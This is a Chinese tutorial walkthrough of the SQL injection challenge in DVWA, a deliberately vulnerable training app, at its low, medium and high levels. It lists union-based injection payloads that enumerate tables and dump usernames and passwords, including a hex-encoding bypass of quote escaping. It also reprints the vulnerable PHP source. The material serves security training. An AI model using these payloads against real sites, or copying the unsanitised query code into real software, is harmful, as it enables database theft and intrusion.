6、DVWA——SQL injection

news2025/1/6 19:34:29

文章目录

  • 一、概述
  • 二、low
    • 2.1 通关思路
      • (1)判断是否存在sql注入漏洞。
      • (2)判断字符型还是数字型
      • (3)判断字段数
      • (4)查看回显点
      • (5)查看数据库名
      • (6)查表名
      • (7)查字段名
      • (8)查字段内容
    • 2.2 源码分析
  • 三、medium
    • 3.1 通关思路
      • (1)寻找传参点
      • (2)判断是否存在SQL注入
      • (3)判断是字符型注入还是数字型注入
      • (4)判断字段数
      • (5)查看回显点
      • (6)查看数据库名
      • (7)查看表名
      • (8)查看字段名
      • (9)查看字段内容
    • 3.2 源码分析
  • 四、high
    • 4.1 通关分析
      • (1)判断是否存在SQL注入
      • (2)判断属于字符型注入还是数字型注入
      • (3)判断字段数
      • (4)查看回显点
      • (5)查看数据库名
      • (6)查看表名
      • (7)查看字段名
      • (8)查看字段内容
    • 4.2 源码分析

一、概述

  SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。

二、low

2.1 通关思路

(1)判断是否存在sql注入漏洞。

在参数后面添加'(引号),查看是否页面返回一样

在这里插入图片描述
在这里插入图片描述

  • 添加引号后,页面返回不一样,说明存在SQL注入漏洞;
  • 从URL可以看出,该SQL注入漏洞属于GET型。

(2)判断字符型还是数字型

在这里插入图片描述

1 and 1=1

在这里插入图片描述

1 and 1=2

在这里插入图片描述

页面返回一致,故,属于字符型注入。

(3)判断字段数

1' order by 2 #

在这里插入图片描述

1' order by 3 #

在这里插入图片描述

故,字段数为2。

(4)查看回显点

1' union select 1,2 #

在这里插入图片描述

(5)查看数据库名

1' union select 1,database() #

在这里插入图片描述

(6)查表名

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

在这里插入图片描述

(7)查字段名

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

在这里插入图片描述

(8)查字段内容

1' union select 1,(select group_concat(concat(user,'%23',password)) from dvwa.users) #

在这里插入图片描述

2.2 源码分析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

分析:

  • PHP 的 REQUEST 变量在默认情况下包含了 GET,POST 和 COOKIE 的数组。由此可见源码对输入的 id 完全信任,没有做任何过滤。
  • 接收的 id 的左右内容将会被直接放入一个 SQL 查询语句,使用 mysqli_query 函数用该语句对某个数据库进行查询。mysql_result函数返回查询结果中各个字段的内容。

三、medium

3.1 通关思路

(1)寻找传参点

随便提交一个ID,页面回显如下:
在这里插入图片描述

抓包,发现这里属于POST传参。

在这里插入图片描述

(2)判断是否存在SQL注入

在参数后面添加一个',发现页面报错,报错信息显示'被转义,故此种方法不能判断该页面是否存在SQL注入漏洞。那就换一个~

在这里插入图片描述

(3)判断是字符型注入还是数字型注入

此处,既可以判断是否存在SQL注入漏洞,也可判断SQL注入类型。

在这里插入图片描述

1 and 1=1 

在这里插入图片描述

1 and 1=2 

在这里插入图片描述

页面返回不一致,故属于数字型注入。

(4)判断字段数

1 order by <数字> #,注意:order by之前的语句为真。
在这里插入图片描述

在这里插入图片描述

可知,该表中含有两个字段。

(5)查看回显点

1 union select 1,2 #

在这里插入图片描述

(6)查看数据库名

1 union select 1,database() #

在这里插入图片描述

(7)查看表名

单引号被转义,故采取以下方式进行绕过:

  • database()代替数据库名;
  • 将数据库名进行16进制编码,注意:不需要对数据库旁边的引号进行16进制编码。
1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #

在这里插入图片描述

1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x64767761) #

在这里插入图片描述

(8)查看字段名

1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273) #

在这里插入图片描述

(9)查看字段内容

1 union select 1,(select group_concat(concat(user,0x7E,password)) from dvwa.users) #

0x7E就是~的16进制形式。

在这里插入图片描述

3.2 源码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?> 

分析:

  • 源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符,也就是说特殊符号 \x00\n\r\'"\x1a 都将进行转义。
  • 同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。

四、high

4.1 通关分析

(1)判断是否存在SQL注入

在这里插入图片描述

payload:在参数后面加一个',来判断是否存在SQL注入。

在这里插入图片描述

(2)判断属于字符型注入还是数字型注入

在这里插入图片描述

1 and 1=11 and 1=2来判断属于字符型注入还是数字型注入。

在这里插入图片描述

在这里插入图片描述

两次页面返回一致,故属于字符型注入,下一步将判断闭合符号。

在这里插入图片描述
在这里插入图片描述

由此,可知 属于单引号闭合。

(3)判断字段数

1' order by <数字> #

在这里插入图片描述

在这里插入图片描述

(4)查看回显点

1' union select 1,2 #

在这里插入图片描述

(5)查看数据库名

1' union select 1,database() #

在这里插入图片描述

(6)查看表名

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

在这里插入图片描述

(7)查看字段名

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

在这里插入图片描述

(8)查看字段内容

1' union select 1,(select group_concat(concat(user,'%23',password)) from dvwa.users) #

在这里插入图片描述

4.2 源码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

分析:

  • high级攻击者以不同的方式输入值,输入值将在另一个页面输入,而不是直接 GE T请求,通过会话变量传输到查询语句。
  • High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,这令服务器仅回显查询到的一个结果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1004253.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

R730xd风扇调速

共使用了三个方法都是有效的&#xff0c;dell_fans_controller_v1.0.0和Dell_EMC_Fans_Controller_1.0.1以及ipmitool&#xff0c;前面两个是GUI界面后面一个是命令行工具 重点 我虽然能通过设置的ip地址能访问idrac管理界面&#xff0c;但是使用上面三个工具都是无法获取风扇…

C++:模板(函数模板、类模板)

本文主要介绍泛型编程、函数模板和类模板。 目录 一、泛型编程 二、函数模板 1.函数模板概念 2.函数模板格式 3.函数模板的原理 4.函数模板的实例化 5.模板参数的匹配原则 三、类模板 1.类模板的定义格式 2.类模板的实例化 一、泛型编程 如何实现一个通用的交换函数…

普通的maven里面没有配置tomcat服务器问题

上面的意思也就是可以直接如下访问 他会直接给我们跳转到 webapp下面的index.jsp页面 为什么跳转到这个页面呢&#xff0c;原因在于我们在tomcat服务器里面的配置文件web.xml做了如下配置 只要webapp下面有如上几个页面&#xff0c;就会被默认运行 如果运行中出现控制台中文…

2023年8月京东彩瞳行业数据分析(京东商品数据)

和传统的框架眼镜、隐形眼镜相比&#xff0c;多种花纹、颜色的美瞳镜片给了爱美的年轻人更多的选择&#xff0c;因此&#xff0c;在颜值经济叠加悦己思潮的影响下&#xff0c;兼具“视力矫正美妆”的彩瞳受追捧。 根据鲸参谋电商数据分析平台的相关数据显示&#xff0c;8月份&…

TorchAudio has CUDA version 11.7.

RuntimeError: Detected that PyTorch and TorchAudio were compiled with different CUDA versions. PyTorch has CUDA version 11.8 whereas TorchAudio has CUDA version 11.7. Please install the TorchAudio version that matches your PyTorch version.升级版本即可 pi…

HTML导航栏二级菜单(垂直、水平方向)

二级菜单是指主菜单的子菜单。菜单栏实际是一种树型结构&#xff0c;子菜单是菜单栏的一个分支。简单分享主要的垂直和水平方向的CSS设计。 垂直方向&#xff1a; HTML: <body><div><ul><li><a href"#">家用电器</a><ul>…

VRTK4⭐三.VRTK4 : 射线传送模块 [包含API传送]

文章目录 &#x1f7e5; 项目配置方法1️⃣ 添加相应模块2️⃣ 配置相关属性3️⃣ 体验一下吧 &#x1f7e7; 传送组件讲解&#x1f7e8; Locomotors.Teleporter.Dash : 缓动传送&#x1f7e9; API 传送示例 &#x1f7e5; 项目配置方法 1️⃣ 添加相应模块 我们要实现的功能…

10:STM32------I2C通信

目录​​​​​​​ 一:I2C通信协议 1:I2C简历 2:硬件电路 3:I2C时序基本单元 A : 开/ 终条件 2:发送一个字节 3:接收一个字节 4:应答机制 4:I2C时序 1:指定地址写 2:当前地址读 3: 指定地址读 二:MPU6050 1:简历 2:参数 3:硬件电路 4:框图 5:寄存器地址 …

weblogic配置证书

1.windows安装jdk JDK 可以到官网下载 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 系统变量→新建 JAVA_HOME 变量 配置环境变量&#xff1a;右击“我的电脑”–>“高级”–>“环境变量” JAVA_HOME&#xff1a;D:\Java\j…

原型链(一定要搞懂啊!!!>-<)

一、概念 1、prototype 习惯称作“显示原型”&#xff0c;只有构造函数才有的属性。 2、构造函数 能用new关键字创建的对象叫做构造函数 3、__proto__ 习惯称作“隐式原型”&#xff0c;每一个实例都有的属性&#xff0c;该属性指向他构造函数的“显示原型”。Function对象…

iwebsec靶场 文件包含漏洞通关笔记2-文件包含绕过(截断法)

目录 前言 1.%00截断 2.文件字符长度截断法&#xff08;又名超长文件截断) 方法1&#xff08;路径截断法&#xff09; 方法2&#xff08;点号截断法&#xff09; 第02关 文件包含绕过 1.打开靶场 2.源码分析 3.00文件截断原理 4.00截断的条件 5.文件包含00截断绕过 …

传统大数据迁移遇到的问题与解决方案

信息技术的进步和普及使得各个领域都在持续产生和积累大量的数据&#xff0c;这些数据蕴含了丰富的信息和价值&#xff0c;被称为大数据。据国际权威机构IDC预测&#xff0c;到2025年&#xff0c;全球数据总量将达到175ZB&#xff08;1ZB1024EB1024^7B&#xff09;&#xff0c;…

YOLOv5的常见报错总结

目录 1.安装pycocotools报错 2.Cant get attribute SPPF on module models.common 2.1原因 2.2解决方案 3.[WinError 1455] 页面文件太小&#xff0c;无法完成操作 3.1原因 3.2解决方案 4.AssertionError: Image Not Found D:\PycharmProjects\yolov5-hat\VOCdevkit\im…

centos安装flink,通过windows访问webui

1. 安装flink 1.1. flink的下载 通过flink官网下载flink安装包 https://flink.apache.org/ 下载安装包 1.2 flink在centos上的安装 将下载好的flink-1.17.1-bin-scala_2.12.tgz安装包放到centos目录下 解压文件&#xff1a; [rootlocalhost ~]# tar -zxvf flink-1.17.…

Vue3常用语法记录,基础使用看这篇就够了

1、ref const test ref<number>(8) 2、reactive const testObj reactive({test001: ,test002: }) 3、props & defineEmits defineProps({icon: String, }); const emit defineEmits([change, update:value, format-error]); emit(update:value, v); 4、wat…

DataGrip实时模板的配置2.0

印象里一直记着配置过代码实时模板&#xff0c;但是忘了换了工作电脑&#xff0c;之前配置的模板在我另一台电脑上 需要重新配置一下&#xff0c;我是笨蛋orz 配置方法和之前的一致 DataGrip实时模板的配置_王小小鸭的博客-CSDN博客https://blog.csdn.net/clover_oreo/articl…

9月11日上课内容 第二章 GFS 分布式文件系统

本章结构 前言 存储 块存储 硬盘 文件存储 nfs lvm raid ext4 ext3 centos6 xfs centos7 对象存储 GFS Ceph fastdfs 云端 OSS 阿里云存储 url链接 S3 亚马逊 …

证件照换衣服怎么换?学会这两招不用重拍证件照

当我们申请各种证件时&#xff0c;证件照往往是不可或缺的一步。这张照片会被用于各种场合&#xff0c;比如办理银行卡、信用卡、驾驶证、护照、签证等等&#xff0c;因此&#xff0c;它的重要性不言而喻。而证件照上的衣服则是影响印象的一个重要因素。所以&#xff0c;为了让…

2022年全国研究生数学建模竞赛华为杯A题移动场景超分辨定位问题求解全过程文档及程序

2022年全国研究生数学建模竞赛华为杯 A题 移动场景超分辨定位问题 原题再现&#xff1a; 在日常家庭生活中&#xff0c;人们可能需要花费大量时间去寻找随意摆放在家中某些角落里的小物品。但如果给某些重要物品贴上电路标签&#xff0c;再利用诸如扫地机器人的全屋覆盖能力&…

手动实现一个bind函数!

原文地址&#xff1a;手动实现一个bind函数&#xff01; - 知乎 1.bind函数用法 bind()方法用于创建一个新的函数&#xff0c;这个新函数接收的第一个参数代表的就是this&#xff0c;利用bind()函数我就就可以任意改变函数内部的this指向了。 官网的解释&#xff1a; bind()…